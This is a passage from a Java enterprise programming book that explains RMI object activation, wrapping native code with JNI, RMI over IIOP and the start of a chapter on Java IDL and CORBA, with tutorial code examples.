3.6.2.2. Implementing an activatable object

As I already mentioned, you can implement an activatable remote object in two ways: derive the remote object from the Activatable class directly and make the required calls to the Activatable constructors in its constructors, or have the class implement a Remote interface and make the required calls to the static exportObject() methods in its constructors.

In either case, when the activation system activates a remote object, it looks for a constructor on the class that takes two arguments: an ActivationID and a MarshalledObject. The activation system calls this constructor, passing in an ActivationID it generates for the object and the MarshalledObject registered for the activatable object by the first constructor we just discussed.

This means you have to provide a constructor with this signature in your implementation of an activatable object. In this constructor, you should call either one of the (re)activation constructors on the Activatable parent class (if your class extends Activatable), or the corresponding Activatable.exportObject() method (if you didn't extend Activatable). In this call, you pass on the ActivationID issued by the activation system and you specify the port for the exported remote object (a port number of 0 causes the object to be exported on a random open port).

In addition to this required constructor, you can define other constructors for your remote object implementation as needed. If you want your object to be reactivatable, any additional constructors should call one of the initialization constructors on Activatable (using super()) or the corresponding exportObject() method, passing in a valid source URL and a MarshalledObject to be used as an argument if the object is reactivated. If the object is destroyed at some point, and a subsequent remote method request is received for it, the activation system reactivates the object by calling the required (re)activation constructor on the object's class, passing in this MarshalledObject argument.

Example 3-5 shows an activatable implementation of the ThisOrThatServer interface from Example 3-3. The primary differences between this implementation and the nonactivatable one in Example 3-4 are that this new implementation extends the java.rmi.activation.Activatable class instead of UnicastRemoteObject, and its constructors support the activation system. This implementation also includes a name that identifies the server.

Example 3-5. An Activatable Version of the ThisOrThatServer

import java.rmi.activation.*;
import java.rmi.MarshalledObject;
import java.rmi.RemoteException;
import java.io.IOException;

public class ActivatableThisOrThatServerImpl
  extends Activatable implements ThisOrThatServer {

  // Name for server
  private String myName = "";

  // "Regular" constructor used to create a "pre-activated" server
  public ActivatableThisOrThatServerImpl(String name, String src, int port)
      throws RemoteException, ActivationException, IOException {
    // Register and export object (on random open port)
    super(src, new MarshalledObject(name), false, port);
    // Save name
    myName = name;
    System.out.println("Initialization constructor called.");
  }

  // Constructor called by the activation runtime to (re)activate
  // and export the server
  protected ActivatableThisOrThatServerImpl(ActivationID id,
      MarshalledObject arg) throws RemoteException {
    // Export this object with the given activation id, on random port
    super(id, 0);
    System.out.println("Activating a server");
    // Check incoming data passed in with activation request
    try {
      Object oarg = arg.get();
      if (oarg instanceof String) {
        myName = (String)oarg;
      }
      else {
        System.out.println("Unknown argument received on activation: " +
                           oarg);
      }
    }
    catch(Exception e) {
      System.out.println("Error retrieving argument to activation");
    }
    System.out.println("(Re)activation constructor called.");
  }

  // Remotely-accessible methods
  public String doThis(String todo) throws RemoteException {
    String result = doSomething("this", todo);
    return result;
  }

  public String doThat(String todo) throws RemoteException {
    String result = doSomething("that", todo);
    return result;
  }

  // Non-remote methods
  private String doSomething(String what, String todo) {
    String result = myName + ": " + what + " " + todo + " is done.";
    return result;
  }
}

The first constructor for ActivatableThisOrThatServerImpl is a public one, used to construct a server with a given name. The constructor registers the new object with the activation system, passing in a URL that acts as a codebase for finding the classes required for this class. It also passes in the name given to the server, wrapped in a MarshalledObject. This ensures that the server is given the same name if it needs to be reactivated later.

The second constructor is the required one used by the activation system. If an object of this type needs to be activated (or reactivated after a crash of some sort), this constructor is called to create the remote object. The constructor takes an ActivationID, issued by the activation system, and the MarshalledObject registered for the object with the activation system. The constructor exports the object by calling the second constructor on the Activatable class, then initializes itself with the data from the MarshalledObject.

3.6.3. Registering Activatable Objects

There are several ways to register an activatable object with its local activation system. In each case, the activation system needs to be told how to create (or recreate) the object. The information the activation system needs to activate an object is encapsulated in the ActivationDesc class. An ActivationDesc object contains the name of the class for the remote object, a URL with the network location of the bytecodes for the class, a MarshalledObject to be used as the initialization data for the object, and the group assignment for the object.

The simplest way to register an Activatable object is to create an instance of the object. In our example, we've derived our server implementation from the Activatable class, so the public constructor on the ActivatableThisOrThatServerImpl class registers the object by calling the necessary constructor on Activatable. Thus, we can create and register one of these as follows:

// Make an activation group for the object
ActivationGroupDesc gdesc = new ActivationGroupDesc(null, null);
ActivationGroupID gid = ActivationGroup.getSystem().registerGroup(gdesc);
ActivationGroup.createGroup(gid, gdesc, 0);

// Make a server object, which registers it with activation system
ThisOrThatServer server =
    new ActivatableThisOrThatServerImpl(serverName, codebaseURL, 0);

// Register with naming service
LocateRegistry.getRegistry().rebind(serverName, server);

The first four lines are required to create an activation group for our activatable object. We'll talk more about activation groups shortly. For now, all you need to know is that this code creates the default activation group for the current VM. Any remote object that isn't specifically assigned to a group is placed in this default group.

The activatable object itself is created by simply calling the public ActivatableThisOrThatServerImpl constructor. This constructor registers the object with the activation system by calling the appropriate Activatable constructor, as we've already discussed. Since we haven't specified an activation group for the object, it is placed in the default group we just created. If we hadn't created that default group, the activation system would throw an exception here, when the object is registered.

Aside from the creation of the activation group, this example looks a lot like our other examples of registering RMI objects. The difference here is that if the registering process dies off at some point, the activation system can reactivate the activatable object in a new Java VM using the information provided in the ActivationDesc for the object. In this case, we're relying on the Activatable constructor (which is called by our ActivatableThisOrThatServerImpl constructor) to create and register an ActivationDesc for our object.

When an object needs to be activated, the activation system first looks up the ActivationDesc for the object and then looks for the class referenced in the ActivationDesc, using the URL to load the class bytecodes. Once the class has been loaded, the activation system creates an instance of the class by calling the activation constructor, which takes an ActivationID and a MarshalledObject as arguments. The ActivationID is issued by the activation system, and the MarshalledObject contains the data previously registered with the ActivationDesc. In our activatable ThisOrThatServer in Example 3-5, the activation system calls the second constructor on our ActivatableThisOrThatServerImpl class. The new object passes the ActivationID up to the Activatable constructor so that it can be recorded, and the name of the server is pulled from the MarshalledObject. The Activatable constructor takes care of creating and registering an ActivationDesc for the object and exporting the object with the activation system.

3.6.3.1. Registering an activatable object without instantiating

A more complicated, but often more useful way to register a remote object is to create an ActivationDesc for it and then register the information directly with the activation system, without creating an instance of the object. The static Activatable.register() method accepts an ActivationDesc object and registers it with the activation system directly. Here's how we can do that:

// Make a codebase and activation argument for the object
String src = "http://objhost.org/classes";
MarshalledObject actArg = new MarshalledObject("MyServer");

// Create the ActivationDesc and get a stub for the object
ActivationDesc desc =
  new ActivationDesc("ActivatableThisOrThatServerImpl", src, actArg);
ThisOrThatServer serverStub =
  (ThisOrThatServer)Activatable.register(desc);

When we create the ActivationDesc for the object, we specify the name of the class to use for creating the object, a codebase for finding the class, and a MarshalledObject that is passed to the object when it's activated. The ActivationDesc is used in the call to the Activatable.register() method, which returns a RemoteStub for the activatable object. Since we know this stub is for an object that implements the ThisOrThatServer interface, we can safely cast it to a ThisOrThatServer. We can also use this reference to register the remote object with the local RMI naming registry:

LocateRegistry.getRegistry().bind("ThisOrThatServer", serverStub);

Although I haven't shown it here, note that you also have to create an activation group for the object, just like we did in our earlier example, before you can register it with the activation service.

So, to recap, we've registered a remote object with the activation system and the RMI naming registry without actually creating the object itself. When a client tries to look up the object, it gets back a remote stub, with no active object behind it on the server. When the client calls a method on the stub, however, the activation system on the server creates the object, using the information in the ActivationDesc we provided.

3.6.3.2. Passing data with the MarshalledObject

The way you can pass arguments to activatable objects before they are activated is through the MarshalledObject contained within the ActivationDesc for the object. However, once the ActivationDesc is registered with the activation system, you can't dynamically update the contents of the MarshalledObject. One way to have the arguments to an activatable object be dynamic is to bundle a filename or URL into the MarshalledObject. At the point that the object is activated, it can read data from the file or URL and use that data during activation.

3.6.4. Activation Groups

Every activatable RMI object belongs to an activation group. Each group of activatable objects runs within the same Java VM on the server host. In essence, activation groups are a way of defining collections of activatable remote objects that should share the same physical address space. We've already seen how to set up an activation group, since we had to do this before registering our activatable object with the activation system. In this section, we'll take a look at creating activation groups in a bit more detail and discuss what the activation group is actually doing for you.

Activation groups in RMI are more than just a way of organizing remote objects. Each activation group is responsible for monitoring, activating, and reactivating the objects it contains. The objects involved in maintaining an activation group are shown in Figure 3-4. Note that you don't normally need to interact with the underlying objects themselves. You simply set up your ActivationGroup objects and assign activatable objects to them; the activation system does the rest for you.

Figure 3-4. The components of the activation system

An ActivationGroup is created when the first object in the group needs to be activated. The Activator is responsible for creating a VM for the ActivationGroup to run in, and for starting the ActivationGroup using the information in the registered object's ActivationGroupDesc, if it has one. If the remote object doesn't have a specified group, a default one is created. The new ActivationGroup object is then told to activate the requested remote object, by calling its newInstance() method. The arguments the Activator passes into this method are the ActivationID for the new object and the ActivationDesc that the Activator has registered for the object.

The ActivationDesc gives an ActivationGroup everything it needs to activate the remote object. The ActivationGroup takes the class name for the object and looks for the class bytecodes. First it checks the local CLASSPATH, and if that pulls up nothing, it uses the URL in the ActivationDesc to load the class from the given URL. Once the class is loaded, an instance of the class is created by calling the activation constructor on the class (e.g., the constructor that has an ActivationID argument and a MarshalledObject argument). The ActivationID and MarshalledObject come from the call to the newInstance() method. The new, active remote object is returned to the Activator as a serialized MarshalledObject. This is done for two reasons. First, the Activator runs in a separate Java VM, so the active object reference needs to be transferred from one VM to another, and the easiest way to do this is to serialize it and transmit it in that form. Second, since the object has been bundled into a MarshalledObject, the Activator doesn't need to load the object's bytecodes unless absolutely necessary. In most cases, the Activator doesn't need to interact directly with the object itself, so it doesn't need to waste time loading unnecessary bytecodes.

Each ActivationGroup has an ActivationMonitor associated with it. The ActivationGroup has to tell the ActivationMonitor whenever an object becomes active or inactive. An activatable object is responsible for informing its ActivationGroup when it becomes active and inactive, by calling the group's activeObject() and inactiveObject() methods, respectively. The ActivationGroup, in turn, passes the information on to the ActivationMonitor by calling identical methods on the monitor object. When the object becomes inactive, the ActivationMonitor makes note of it and arranges for the object to be reactivated the next time a method request comes in for it. If an entire ActivationGroup becomes inactive, the ActivationMonitor is informed through its inactiveGroup() method. The next request for an object in that group causes the Activator to recreate the group.

3.6.4.1. Registering activation groups

An ActivationGroup is registered with the activation system in roughly the same way as an activatable object. You have to create an ActivationGroupDesc object that contains the name of the class for the group, the URL where the class bytecodes can be loaded, and a MarshalledObject that is given to the ActivationGroup as initialization data. Unlike activatable objects, though, the class of a group has to be a concrete subclass of ActivationGroup. You register the ActivationGroupDesc by calling the static ActivationSystem.registerGroup() method, passing in the ActivationGroupDesc. The ActivationSystem returns an ActivationGroupID that can assign specific objects to the group.

3.6.4.2. Assigning activatable objects to groups

You assign an activatable object to a group by specifying the group ID in the ActivationDesc registered with the activation system. The ActivationGroupID returned by the ActivationSystem.registerGroup() method can be passed into the ActivationDesc constructor.

Before you can register a remote object with the activation system, you need to create a group for it. For our activatable ThisOrThatServer example, we can run Java code along the following lines on the object server (note I've left out the exception handling):

// Make an activation group for the object
ActivationGroupDesc gdesc = new ActivationGroupDesc(null, null);
ActivationGroupID gid =
  ActivationGroup.getSystem().registerGroup(gdesc);
ActivationGroup.createGroup(gid, gdesc, 0);

// Set up ActivationDesc for object
String codebaseURL = "http://objhost.org/classes";
String serverName = "Fred";
MarshalledObject activationArg = new MarshalledObject(serverName);
ActivationDesc desc =
  new ActivationDesc(gid, "ActivatableThisOrThatServerImpl",
                     codebaseURL, activationArg);
ThisOrThatServer serverRef =
  (ThisOrThatServer)Activatable.register(desc);
LocateRegistry.getRegistry().rebind(serverName, serverRef);

Here we're using the ActivatableThisOrThatServerImpl class and registering a remote object with the activation system without actually instantiating it. Before we register our remote object, we create an ActivationGroupDesc, then use it to register and create a new activation group with the activation system. After we create the activation group (using the ActivationGroup.createGroup() method), we use the ActivationGroupID for our new group to make an ActivationDesc for our remote object, and we use that to register the object with the activation system. The activation system generates a remote stub for our object, and we register that with the RMI naming registry.

Since each ActivationGroup is started within its own VM if it's initially activated by the activation system, grouping objects is a convenient way to partition your remote objects into shared address spaces on your server. For more details on the activation group interfaces in RMI, consult the java.rmi.activation reference material in Chapter 14, The java.rmi.activation Package.

3.6.5. The Activation Daemon

The heart of the RMI activation system is the activation daemon, which runs on the host for an activatable object. The activation daemon is responsible for intercepting remote method requests on activatable objects and orchestrating the activation of the object, if needed.

The activation daemon provided with the Java SDK, rmid, runs a Java VM that includes a java.rmi.activation.Activator object. The Activator is responsible for keeping a registry of activatable objects, along with the information needed to activate them. This information is in two parts: an ActivationDesc object and an optional ActivationGroupDesc. The ActivationGroupDesc identifies the group of activatable objects to which the object should be added and describes how to start the group if it doesn't exist. The ActivationDesc includes all information needed to activate the object itself. An activatable object has to be registered nwith the activation system in one of the ways described earlier to be started automatically by the Activator.

If a remote method request is received by the RMI runtime system on a host, and the target object hasn't been created yet, the Activator is asked to activate it. The Activator looks up the ActivationDesc (and ActivationGroupDesc, if present) for the object. If the object has an ActivationGroup assigned to it, and the ActivationGroup doesn't exist yet, a Java VM is started for the group, and the ActivationGroupDesc data is used to start an ActivationGroup object within the new VM. If the object has no ActivationGroup associated with it, it's given its own ActivationGroup running in its own VM. The group is then asked to start the requested object, using the ActivationDesc object registered for the object. Once the ActivationGroup activates the object within its VM, the Activator is notified, and the now-active remote reference is returned to the RMI runtime system. The RMI runtime system forwards the remote method request through the reference to the object, and the return value is exported back to the client as usual.

3.6.5.1. The daemon's dual personality

When you start the rmid daemon, it creates an Activator and then listens on the default port of 1098 for activation requests. There is also a -port command-line option that lets you specify a different port for the VM to use. In addition to running the Activator, the rmid daemon also runs its own RMI Registry. If needed, you can register local objects with the daemon's internal Registry by specifying the daemon's port when you call the bind() or rebind() method of the Registry. For example, if rmid is running on its default port of 1098:

RemoteObject server = ...
Registry local = LocateRegistry.getRegistry(1098);
local.bind(server, "Server");

This way, you can consolidate your activation system and your naming service into one VM on your server.

Previous | Home | Next
3.5. Dynamically Loaded Classes | Book Index | 3.7. RMI and Native Method Calls
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


RMI and Native Method Calls (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.7. RMI and Native Method Calls

As I mentioned at the beginning of this chapter, RMI is a Java-only remote object scheme, so it doesn't provide a direct connection between objects implemented in different languages, like CORBA does. But, using Java's Native Interface API, it is possible to wrap existing C or C++ code with a Java interface and then export this interface remotely through RMI.

To demonstrate, let's suppose we have some (legacy) native code that implements a service we want to export through RMI to remote clients. We can create an implementation of our ThisOrThatServer interface that uses this native code to implement the doSomething() method on our remote interface. The implementation for a NativeThisOrThatServerImpl is shown in Example 3-6. The only significant difference between this implementation and our original ThisOrThatServerImpl is that the doSomething() method is declared native, so the method body is left empty.

Example 3-6. Remote Object Using a Native Method Implementation

import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;

public class NativeThisOrThatServerImpl
  extends UnicastRemoteObject implements ThisOrThatServer {

  public NativeThisOrThatServerImpl() throws RemoteException {}

  // Remotely-accessible methods
  public String doThis(String todo) throws RemoteException {
    return doSomething("this", todo);
  }

  public String doThat(String todo) throws RemoteException {
    return doSomething("that", todo);
  }

  // Natively-implemented method
  native private String doSomething(String what, String todo);
}

We can compile this RMI class and generate the stubs and skeletons for it using the RMI compiler, just like with our other RMI examples. But once this is done, we need to provide a native implementation for the doSomething() method. To start, we can generate a C/C++ header file for the native method using the javah tool:

% javah -jni -d . NativeThisOrThatServerImpl

The -jni option tells the javah tool to generate JNI-compliant header files (as opposed to header files based on the earlier native method interface that shipped with Java 1.0). Invoking this command generates a JNI C/C++ header file that looks something like the following:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class NativeThisOrThatServerImpl */
#ifndef _Included_NativeThisOrThatServerImpl
#define _Included_NativeThisOrThatServerImpl
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class: NativeThisOrThatServerImpl
 * Method:    doSomething
 * Signature: (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_NativeThisOrThatServerImpl_doSomething
  (JNIEnv *, jobject, jstring, jstring);
#ifdef __cplusplus
}
#endif
#endif

The only details worth noting in this header file are the inclusion of the jni.h header file, which is provided with the Java SDK, and the single method declaration. The jni.h header file provides declarations and definitions for all of the data structures and utility methods provided by the JNI API. The method declaration has a signature that corresponds to the native method declared on our Java class. When you invoke the doSomething() method on the NativeThisOrThatServerImpl, the Java VM looks for a native method that matches this signature.

Now all we need to do is implement the C/C++ function declared in our JNI-generated header file. This is where we tie our Java method to some legacy native code. In this case, suppose the native code is wrapped up in a single C/C++ function called doSomethingNative(). This function is available in a native library on the server platform (e.g., a DLL file on Windows or a shared library on Unix). We want to use our Java method to invoke this native function, so we can implement the Java_NativeThisOrThatServerImpl_doSomething() function along these lines:

#include <jni.h>
#include "NativeThisOrThatServerImpl.h"
#include "nativeDoSomething.h"
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Native implementation for method doSomething() on class
 * NativeThisOrThatServerImpl.
 */
JNIEXPORT jstring JNICALL Java_NativeThisOrThatServerImpl_doSomething
  (JNIEnv * env, jobject me, jstring what, jstring todo) {
  // Convert the Java strings to native strings
  const char* whatStr = (*env)->GetStringUTFChars(env, what, 0);
  const char* todoStr = (*env)->GetStringUTFChars(env, todo, 0);

  // Call the native method
  char* result = doSomethingNative(whatStr, todoStr);

  // Convert result back to Java string
  jstring res = (*env)->NewStringUTF(env, result);
  return res;
}
#ifdef __cplusplus
}
#endif
#endif

The first part of the function just converts the Java strings (passed in as C jstring data structures) into native char* strings. Then it passes the string arguments into the native doSomethingNative() function, converts the result back into a jstring, and returns it. The JNI system handles the conversion of the jstring into a Java String object in the VM environment.

Once we compile this C/C++ code (linking with the native library that contains the doSomethingNative() function), we can export remote NativeThisOrThatServerImpl objects. Then remote clients can call the doThis() or doThat() methods. These remote method calls in turn cause the invocation of native code on the server, when the object implementation calls its native doSomething() method.

Note that in order for the server object to find its native method, the native library containing the doSomethingNative() function has to be loaded into the server object's VM using the System.loadLibrary() method. You can do this in the application code that uses the native method or by adding a static initializer to the class, you can have the library loaded automatically when the NativeThisOrThatServerImpl class is referenced:

static { System.loadLibrary("methods"); }

The System.loadLibrary() method automatically converts the library name that you provide to a platform-specific file name. So if the previous example is run on a Solaris machine, the Java VM looks for a library file named libmethods.so. On a Windows machine, it looks for methods.dll.

3.7.1. RMI with JNI Versus CORBA

There are pros and cons to using RMI and JNI to export legacy native code using Java remote objects, as opposed to using CORBA. With CORBA, a CORBA object implemented in the same language as the native code (C/C++ for our example) is created and exported on the server. Remote Java clients can get a Java stub to this CORBA object using JavaIDL, or any third-party Java CORBA implementation (see Chapter 4, "Java IDL" for details).

One obvious advantage of the CORBA approach is that you don't need to have Java on the server. Since this is presumably a legacy server, perhaps a mainframe of some sort, finding a stable Java VM and development kit for the platform may be a problem. If a Java implementation isn't available or if installing additional software on the legacy server isn't desirable, CORBA is your only option.

An advantage of the RMI/JNI approach is that you're running Java at both ends of the remote communication and avoiding the use of CORBA entirely. CORBA is a very rich distributed object API, but it may be overkill for your application. Using the simpler RMI API and keeping your code development strictly in Java (with some minimal C/C++ to interface to the legacy code) might be an advantage to you in this case.

Previous | Home | Next
3.6. Remote Object Activation | Book Index | 3.8. RMI over IIOP
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


RMI over IIOP (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.8. RMI over IIOP

A new and exciting possibility for connecting RMI objects to non-Java objects is the ability for RMI objects to communicate directly with remote CORBA objects using IIOP, the CORBA network interface protocol.[4] The standard RMI implementation provided with Java uses an RMI-specific protocol, JRMP, to communicate over the network. RMI/IIOP allows RMI objects to use the CORBA network protocol, IIOP, to communicate with other objects. This means that an RMI object using RMI/IIOP can communicate with a remote CORBA object, regardless of the implementation language of the CORBA object. Likewise, a CORBA object can interact with your Java RMI objects directly. This really gives you the best of both worlds, since you can then implement your remote clients using RMI and use either CORBA or RMI/JNI on the server to interface to any native legacy code.

[4]The RMI-IIOP tools and classes are an extension to the standard Java platform that has to be downloaded separately from http://java.sun.com/products/rmi-iiop/.

In order to convert your RMI objects to use IIOP, there are some changes you need to make:

  • Any implementation classes should extend the javax.rmi.PortableRemoteObject class, rather than java.rmi.server.UnicastRemoteObject.

  • All your stub and skeleton classes need to be regenerated using the updated rmic compiler provided with the RMI/IIOP installation. This updated compiler has an -iiop option that produces stubs and ties (ties refers to skeletons in the CORBA vernacular). These stubs and ties handle the link between client and server objects, but using IIOP rather than JRMP.

  • All use of the RMI Naming registry has to be converted to use JNDI to talk to a CORBA Naming Service. Objects that you export are bound to names in the CORBA Naming Service through the JNDI context, and remote objects you look up are accessed from the Naming Service through the JNDI context.

  • Instead of using the standard Java casting operator on remote objects you look up, you should use the javax.rmi.PortableRemoteObject.narrow() method.

To give you a taste for how to use RMI/IIOP with your RMI classes, let's convert our first Account example to use RMI/IIOP. First, we need to update the AccountImpl class to extend PortableRemoteObject. The following fragment of the IIOPAccountImpl class does that:

import javax.rmi.PortableRemoteObject;
import java.rmi.RemoteException;
import java.util.List;
import java.util.ListIterator;

public class IIOPAccountImpl extends PortableRemoteObject implements Account {
  // Remainder of implementation is identical

We can compile the updated IIOPAccountImpl using the regular Java compiler, then use the extended rmic compiler included with RMI/IIOP to generate IIOP stubs and ties:

% rmic -iiop -d /home/myclasses IIOPAccountImpl

This generates an IIOPAccountImpl_Stub class and an IIOPAccountImpl_Tie class, which act as the IIOP stub and tie for the remote object.

In the CORBA world, remote objects are looked up using the CORBA Naming Service, so we need to update the RegAccount class to use JNDI to register an Account object with a CORBA Naming Service, rather than the RMI registry. The updated IIOPRegAccount class looks like this:

import javax.naming.*;
import java.rmi.*;

public class IIOPRegAccount {
  public static void main(String argv[]) {
    try {
      // Make an Account with a given name
      IIOPAccountImpl acct = new IIOPAccountImpl("JimF");

      // Get a reference to CORBA naming service using JNDI
      Hashtable props = new Hashtable();
      props.put("java.naming.factory.initial",
                "com.sun.jndi.cosnaming.CNCtxFactory");
      props.put("java.naming.provider.url", "iiop://objhost.org:900");
      Context ctx = new InitialContext(props);

      // Register our Account with the CORBA naming service
      ctx.rebind("JimF", acct);
      System.out.println("Registered account.");
    }
    catch (Exception e) {
      e.printStackTrace();
    }
  }
}

Refer to Chapter 6, "JNDI", for details on the properties used to create the JNDI context and what they mean. All you need to glean from this is that we're trying to connect to a naming service running on objhost.org, listening to port 900. Once we are connected, we register the new IIOPAccountImpl object with the naming service using the Context.rebind() method.

Finally, we need to update our client so that it works with RMI/IIOP. Instead of using an RMI registry to look up the remote Account object, the client needs to use JNDI to connect to the same CORBA Naming Service that now hosts our Account object and ask for the Account by name. The updated IIOPAccountClient is shown here. Notice that we've also changed the client to use the PortableRemoteObject.narrow() method, instead of just casting the object returned from the lookup:

import javax.naming.*;
import java.rmi.RMISecurityManager;

public class IIOPAccountClient {
  public static void main(String argv[]) {
    try {
      // Lookup account object
      Hashtable props = new Hashtable();
      props.put("java.naming.factory.initial",
                "com.sun.jndi.cosnaming.CNCtxFactory");
      props.put("java.naming.provider.url", "iiop://objhost.org:900");
      Context ctx = new InitialContext(props);
      Account jimAcct =
        (Account)PortableRemoteObject.narrow(ctx.lookup("JimF"),
                                             Account.class);

      // Make deposit
      jimAcct.deposit(12000);

      // Report results and balance.
      System.out.println("Deposited 12,000 into account owned by " +
                         jimAcct.getName());
      System.out.println("Balance now totals: " + jimAcct.getBalance());
    }
    catch (Exception e) {
      System.out.println("Error while looking up account:");
      e.printStackTrace();
    }
  }
}

In order to register the server object, we need a CORBA Naming Service running, just like we need an RMI registry with standard RMI. The RMI/IIOP package includes a special naming service that is started using the tnameserv utility. This tool is similar to the naming service provided with Java IDL (and discussed in Chapter 4, "Java IDL"), but this version is a CORBA Naming Service that also provides JNDI access. On objhost.org, we need to start the naming service like so:

objhost% tnameserv -ORBInitialPort 900

Now we can run IIOPRegAccount to register the Account object with the naming service, then run our IIOPAccountClient to access the Account and make a deposit. All network communications are now taking place using IIOP rather than the RMI protocol.

3.8.1. Accessing RMI Objects from CORBA

Since our Account object is now speaking IIOP, we can also access it from other, non-Java CORBA clients. First, we need to get an IDL interface for the Account interface, which can be done using the rmic compiler provided with RMI/IIOP. The -idl option generates an IDL mapping of a Java RMI interface using the Java-to-IDL mapping defined by the CORBA standard. With this IDL mapping, we can generate language-specific stubs that lets any CORBA client talk to our Java remote object. See Chapter 4, "Java IDL" for more details on using IDL and generating language-specific interfaces from it.

Previous | Home | Next
3.7. RMI and Native Method Calls | Book Index | 4. Java IDL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java IDL (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 4. Java IDL

Contents:

The CORBA Architecture
Creating CORBA Objects
Putting It in the Public Eye
Finding Remote Objects
What If I Don't Know the Interface?

The Java IDL API, introduced in Version 1.2 of the Java 2 platform, provides an interface between Java programs and distributed objects and services built using the Common Object Request Broker Architecture (CORBA). CORBA is a standard defined by the Object Management Group (OMG). It describes an architecture, interfaces, and protocols that distributed objects can use to interact with each other. Part of the CORBA standard is the Interface Definition Language (IDL), which is an implementation-independent language for describing the interfaces of remote-capable objects. There are standard mappings defined by the OMG for converting IDL interfaces into C++ classes, C code, and Java classes, among other things. These generated classes use the underlying CORBA framework to communicate with remote clients and give you the basis for implementing and exporting your own distributed objects. Java IDL is an implementation of the standard IDL-to-Java mapping and is provided by Sun with the standard Java SDK in the org.omg.CORBA and org.omg.CosNaming packages and their subpackages.[1]

[1]The version of Java IDL shipped with Version 1.2 of Java 2 is compliant with the CORBA 2.x specification.

Like RMI, Java IDL gives you a way to access remote objects over the network. It also provides the tools you need to make your objects accessible to other CORBA clients. If you export a Java class using Java IDL, you can create an instance of that class and publish it through a naming/directory service. A remote client can find this object, call methods on it, and receive data from it, just as if it were running on the client's local machine. Unlike RMI, however, objects that are exported using CORBA can be accessed by clients implemented in any language with an IDL binding (C, C++, Ada, etc.).

The CORBA standard is extensive, to say the least. In addition to the basic remote object architecture and the syntax of IDL, it also includes specifications for several distributed object services, like an object naming service, a security policy service, and persistent object services. It would be foolhardy to attempt to cover all these topics completely in one chapter, so I won't. Instead, I'll just cover the basic features of the CORBA architecture and the IDL syntax. We'll also look at the Naming Service, which is key to almost every CORBA application because it provides a standard way to find remote CORBA objects on the network. With that under our belts, we'll take a look at the Java IDL API and the idltojava compiler and how together they give you an interface from your Java code to CORBA objects and services. They also give you the tools you need to create your own CORBA objects, implemented in Java.

The rest of this chapter is broken down roughly into three parts. In the first part, we'll look at an overview of the CORBA architecture and how it allows you to create, export, access, and manage remote objects. In the second part, we'll explore the details of creating your own CORBA objects. Finally, we'll look at how clients can remotely access your CORBA objects.

4.1. The CORBA Architecture

At its core, the CORBA architecture for distributed objects shares many features with the architecture used by Java RMI. A description of a remote object is used to generate a client stub interface and a server skeleton interface for the object. A client application invokes methods on a remote object using the client stub. The method request is transmitted through the underlying infrastructure to the remote host, where the server skeleton for the object is asked to invoke the method on the object itself. Any data resulting from the method call (return values, exceptions) is transmitted back to the client by the communication infrastructure.

But that's where the similarities between CORBA and RMI end. CORBA was designed from the start to be a language-independent distributed object standard, so it is much more extensive and detailed in its specification than RMI is (or needs to be). For the most part, these extra details are required in CORBA because it needs to support languages that have different built-in features. Some languages, like C++, directly support objects, while others, like C, don't. The CORBA standard needs to include a detailed specification of an object model so that nonobject-oriented languages can take advantage of CORBA. Java includes built-in support for communicating object interfaces and examining them abstractly (using Java bytecodes and the Java Reflection API). Many other languages do not. So the CORBA specification includes details about a Dynamic Invocation Interface and a Dynamic Skeleton Interface, which can be implemented in languages that don't have their own facilities for these operations. In languages that do have these capabilities, like Java, there needs to be a mapping between the built-in features and the features as defined by the CORBA specification.

The rest of this section provides an overview of the major components that make up the CORBA architecture: the Interface Definition Language, which is how CORBA interfaces are defined; the Object Request Broker (ORB), which is responsible for handling all interactions between remote objects and the applications that use them; the Naming Service, a standard service in CORBA that lets remote clients find remote objects on the network; and the inter-ORB communication that handles the low-level communication between processes in a CORBA context.

4.1.1. Interface Definition Language

The Interface Definition Language provides the primary way of describing data types in CORBA. IDL is independent of any particular programming language. Mappings, or bindings, from IDL to specific programming languages are defined and standardized as part of the CORBA specification. At the time of this writing, standard bindings for C, C++, Smalltalk, Ada, COBOL, and Java have been approved by the OMG. Chapter 10, "IDL Reference", contains a complete description of IDL syntax.

The central CORBA functions, services, and facilities, such as the ORB and the Naming Service, are also specified in IDL. This means that a particular language binding also provides the bindings for the core CORBA functions to that language. Sun's Java IDL API follows the Java IDL mapping defined by the OMG. This allows you to run your CORBA-based Java code in any compliant Java implementation of the CORBA standard, provided you stick to standard elements of the Java binding. Note, however, that Sun's implementation includes some nonstandard elements; they are highlighted in this chapter where appropriate.

4.1.2. Object Request Broker

The core of the CORBA architecture is the Object Request Broker, as shown in Figure 4-1. Each machine involved in a CORBA application must have an ORB running in order for processes on that machine to interact with CORBA objects running in remote processes. Object clients and servers make requests through their ORBs; the ORB is responsible for making the requests happen or indicating why they cannot. The client ORB provides a stub for a remote object. Requests made on the stub are transferred from the client's ORB to the ORB servicing the implementation of the target object. The request is passed onto the implementation through its skeleton interface.

Figure 4-1. Basic CORBA architecture

4.1.3. The Naming Service

The CORBA Naming Service provides a directory naming structure for remote objects. The tree always starts with a root node, and subnodes of the object tree can be defined. Actual objects are stored by name at the leaves of the tree. Figure 4-2 depicts an example set of objects[2] registered within a Naming Service directory. The fully qualified name of an object in the directory is the ordered list of all of its parent nodes, starting from the root node and including the leaf name of the object itself. So, the full name of the object labeled "Fred" is "living thing," "animal," "man," "Fred," in that order.

[2]Example adapted from Categories, by Aristotle. Please pardon the categorization "man," as opposed to "human." This is the typical translation of Aristotle's original Greek, perhaps because political correctness wasn't in fashion in 350 B.C.

Figure 4-2. A naming directory

Each branch in the directory tree is called a naming context, and leaf objects have bindings to specific names. The org.omg.CosNaming.NamingContext interface represents each branch in the naming directory. Each NamingContext can be asked to find an object within its branch of the tree by giving its name relative to that naming context. You can get a reference to the root context of the naming directory from an ORB using the resolve_initial_references() method. The standard name for the Naming Service is "NameService", so the following code snippet gets the root NamingContext:

ORB myORB = ORB.init(...);
org.omg.CORBA.Object nameRef =
